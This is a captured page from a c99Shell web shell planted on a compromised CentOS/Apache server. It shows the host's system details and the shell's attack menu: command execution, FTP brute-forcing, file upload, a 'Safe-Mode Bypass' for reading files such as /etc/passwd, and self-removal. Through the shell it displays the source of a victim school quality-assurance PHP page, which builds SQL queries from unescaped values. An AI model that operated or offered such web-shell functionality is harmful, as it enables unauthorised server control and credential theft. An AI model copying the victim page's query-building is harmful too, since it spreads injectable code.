!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/QA/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     qaByYear_bkp.php (5.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

include("../include/FunctionDB.php");
include("admin_menu.php");
include("../include/Function.php");

ConnectDB();

$sql = " Select * From user_tb";
$result = mysql_query($sql) or die(" Error1").mysql_error();
$num = mysql_num_rows($result);

$sql2 = " Select * From  qa_standard_tb  GROUP BY qaId , Trem ";
$result2 = mysql_query($sql2) or die(" Error2").mysql_error();
$num = mysql_num_rows($result2);
?> 

<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="./source/style.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style14 {
	font-size: 14px;
	font-weight: bold;
}
-->
</style>
<table width="791" border="0" cellpadding="0" cellspacing="0">
	<tr>
	  <td ><br> <fieldset>
		    <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> </font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="AddStand.php">เพิ่มข้อมูลตัวบงชี้มาตรฐาน</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"> ข้อมูลประกันคุณภาพการศึกษา</font></legend>
			<label>
  <form id="form1" name="form1" method="post" action="">
    <table width="71%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#EEEEEE" style="border:0px solid gray">
      <tr bgcolor="#AED7FF">
        <td height="17" colspan="5" bgcolor="#FFFFFF"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font></td>
      </tr>
      <tr bgcolor="#AED7FF">
        <td height="17" colspan="5" bgcolor="#FFFFFF"><div align="center" class="style14"></div></td>
      </tr>
      <tr bordercolor="#0066CC" bgcolor="#CCE6FF">
        <td height="22" colspan="3" align="center" bgcolor="#FFFFFF" style="border: 0px solid gray"><div align="left" class="style14"><font face="Tahoma">ปีการศึกษา</font></div></td>
        <td width="166" align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><div align="left" class="style14"><font face="Tahoma">ผู้เข้ารับการประเมิน</font></div></td>
        <td width="204" align="center" bgcolor="#FFFFFF" style="border:0px solid gray"><span class="style14"><font color="#000000" face="Tahoma">จำนวนองค์ประกอบ/ปีการศึกษา</font></span></td>
      </tr>
      <?
  $i = 1;

 while($rs2 =mysql_fetch_array($result2) )
 {

	 if($count==0)
	 {
?>
      <tr bgcolor="#F9FEFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#F9FEFF'">
        <td width="19" align="center" bordercolor="#EBFAFE" bgcolor="#FFFFFF">&nbsp;</td>
        <td width="21" bordercolor="#EBFAFE" bgcolor="#FFFFFF"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
        <td width="150" bordercolor="#EBFAFE" bgcolor="#FFFFFF"><strong><font color="#993333" size="2" face="Tahoma"> <a href="StandardList.php?Trem=<? echo $rs2[Trem]?>&qaId=<? echo $rs2[qaId]?>" class="d" > <? echo $rs2[Trem]?></a></font></strong></td>
        <td bordercolor="#EBFAFE" bgcolor="#FFFFFF"><font color="#000000" size="2" face="Tahoma">
          <?php
		$qaId = $rs2[qaId];
		 $sql3 = "Select * From  qa_data_tb  Where  qaId='$qaId'  ";
		 $result3 = mysql_query($sql3) or die("Error".mysql_error());
		 $rss = mysql_fetch_array($result3);
		  echo"$rss[Topic]";
		 ?>
        </font></td>
        <td bordercolor="#EBFAFE" bgcolor="#FFFFFF"><div align="center"><strong><font color="#993333" size="2" face="Tahoma">
            <?php
			 $Trem = $rs2[Trem];
			 $sql3 = "Select * From qa_standard_tb  Where Trem='$Trem' and  qaId='$qaId' ";
			 $result3 = mysql_query($sql3) or die("Error".mysql_error());
			 $numc = mysql_num_rows($result3);
			 echo"$numc";
			 ?>
        </a></font></strong></div></td>
      </tr>
      <?
	$count=1;
	 }
else
{
?>
      <tr bordercolor="#FFFFFF" bgcolor="#FFFFFF" onmouseover="this.style.backgroundColor='#FCFCF3'" onmouseout="this.style.backgroundColor='#FFFFFF'">
        <td align="center">&nbsp;</td>
        <td><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></font></td>
        <td><strong><font color="#993333" size="2" face="Tahoma">  </a><a href="StandardList.php?Trem=<? echo $rs2[Trem]?>&qaId=<? echo $rs2[qaId]?>" class="d" ><? echo $rs2[Trem]?></a></font></strong></td>
        <td><font color="#000000" size="2" face="Tahoma">
          <?php
		$qaId = $rs2[qaId];
		 $sql3 = "Select * From  qa_data_tb  Where  qaId='$qaId'  ";
		 $result3 = mysql_query($sql3) or die("Error".mysql_error());
		 $rss = mysql_fetch_array($result3);
		  echo"$rss[Topic]";
		 ?>
        </font></td>
        <td><div align="center"><strong><font color="#993333" size="2" face="Tahoma">
            <?php
			 $Trem = $rs2[Trem];
			 $sql3 = "Select * From qa_standard_tb  Where Trem='$Trem'  and qaId='$qaId' ";
			 $result3 = mysql_query($sql3) or die("Error".mysql_error());
			 $numc = mysql_num_rows($result3);
			 echo"$numc";
			 ?>
        </a></font></strong></div></td>
      </tr>
      <?
$count=0;
}
$i++;
 }	
?>
      <tr bordercolor="#FFFFFF" bgcolor="#CCE6FF" >
        <td colspan="5" align="center" bgcolor="#FFFFFF">&nbsp;</td>
      </tr>
    </table>
    </form>
			</fieldset>
		<br>
	  <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ</font></td>
	</tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0063 ]--